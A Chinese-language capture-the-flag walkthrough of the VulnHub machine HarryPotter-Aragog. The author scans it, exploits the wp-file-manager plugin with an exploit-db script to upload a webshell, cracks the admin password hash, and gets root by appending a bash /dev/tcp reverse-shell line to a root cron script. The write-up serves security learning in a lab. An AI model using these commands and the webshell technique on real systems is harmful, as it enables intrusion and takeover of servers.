渗透测试练习No.15 WordPress文件上传漏洞

1,026 阅读4分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究


靶机信息

靶场: VulnHub.com

靶机名称:    HARRYPOTTER- ARAGOG (1.0.2)

下载地址:

https://www.vulnhub.com/entry/harrypotter-aragog-102,688/

难度: 简单

发布时间: 2021年5月10日

提示信息:

Aragog is the 1st VM of 3-box HarryPotter VM series in which you need to find 2 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.
阿拉戈克是哈利波特虚拟机系列的第一个虚拟机,在这个虚拟机系列中,你需要找到隐藏在机器里的2个魂器(总共8个魂器隐藏在哈利波特系列的3个虚拟机中) ,并最终击败伏地魔。

目标:  2个flag

实验环境

攻击机:VMware  kali  192.168.7.3

靶机:Vbox    linux  IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

图片

扫描到主机地址为192.168.7.106

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.106 -oN Aragon.nmap

图片

扫描到2个开放端口22(ssh)和80(http)服务,先从80开始


Web渗透

访问80服务

http://192.168.7.106

图片

首页只有一张图,扫描一下目录

目录扫描

gobuster dir -w ../../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u http://192.168.7.106 -x .php,.html,.txt,.zip

图片

扫描到blog目录,访问看看

图片

这是一个WordPress程序,页面显示不正常鼠标放到链接上会显示域名,这里需要绑定域名

sudo vi /etc/hosts

图片

绑定域名后再访问,页面正常了,先来找第一篇文件看看,因为第一篇都是管理员帐号发的helloworld

图片

找到管理员帐号,先记下来说不定会用到,首页还有一个段提示"将来会删除一些插件以保证安全",那就是还没删

WPScan

wpscan是一款针对WordPress程序漏洞扫描工具

安装wpscan:

apt-get install wpscan

注册获取token:

https://wpscan.com/wordpress-security-scanner

图片

开始扫描

wpscan --url http://wordpress.aragog.hogwarts/blog/ --api-token 换成你的token --plugins-detection aggressive

图片

第一次运行需要更新,输入y按回车开始更新

图片

发现3个文件管理漏洞,其中一个可以远程执行代码,我们的插件版本是6.0,到exploit-db.com上查询下exp

图片

找到一个,下载下来试试

图片

ls

图片

exp里有使用方法

图片

下载后改名为exp.sh,要执行这个程序还需要安装jq这个在程序执行时是有提示的

bash exp.sh -u http://wordpress.aragog.hogwarts/blog/ --check

图片

sudo apt install jq

安装完jq再次执行验证漏洞

bash exp.sh -u http://wordpress.aragog.hogwarts/blog/ --check

图片

存在漏洞,现在我们可以上传webshell了,在/tmp目录下写个简单的一句话(为什么要在/tmp目录下写,因为攻击时要写绝对路径)

图片

开始上传webshell

bash exp.sh -u http://wordpress.aragog.hogwarts/blog/ -f /tmp/1.php --verbose

图片

文件上传成功,文件地址在/blog/wp-content/plugins/wp-file-manager/lib/php/../files/1.php

完整路径是

http://wordpress.aragog.hogwarts/blog/wp-content/plugins/wp-file-manager/lib/php/../files/1.php

拿出蚁剑连接

图片

连接成功

图片

在/home/hagrid98目录下找到第1个flag

图片

horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}

检查有没有可以提权的信息

没有sudo命令,suid提权也没有可利用的,wordpress目录下没找到数据库配置文件

find查找文件

find / -name  "wordpress" -type d 2>/dev/null

图片

在/etc/wordpress目录下面的配置文件中找到mysql数据库的帐号密码

图片

我们连接到数据库上看看有哪些可利用的信息,

图片

图片

图片

拿到管理员帐号密码

user:hagrid98
pass:$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc.

密码拿去解一下

图片

解到密码password123(早知道是弱口令就直接暴破了)


权限提升

现在可以用ssh登录了

ssh hagrid98@192.168.7.106

图片

pspy64辅助提权

登录成功,传个pspy64上去检查可以提权的地方

kali攻击机在pspy64目录下开启http服务

python3 -m http.server

图片

靶机上下载pspy64并加上可执行权限

wget http://192.168.7.3:8000/pspy64
chmod +x pspy64
./pspy64

图片

图片

稍等一会就会出现定时执行的任务,可以看到/opt/目录下有个隐藏文件.backup.sh并且这时有个UID=0说明是管理员权限在执行,现在看看脚本执行了什么操作

cd /opt
cat .backup.sh

图片

复制一个目录到/tmp目录下,检查能不能编辑这个文件

ls -all .backup.sh

图片

有权限修改,现在来插入一段反弹个shell提权

vi .backup.sh

bash -i >& /dev/tcp/192.168.7.3/3333 0>&1

图片

kali攻击机下再开一个监听3333端口,然后等待反弹连接

nc -lvvp 3333

图片

图片

反弹成功,拿到第2个flag游戏结束

图片

END

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

图片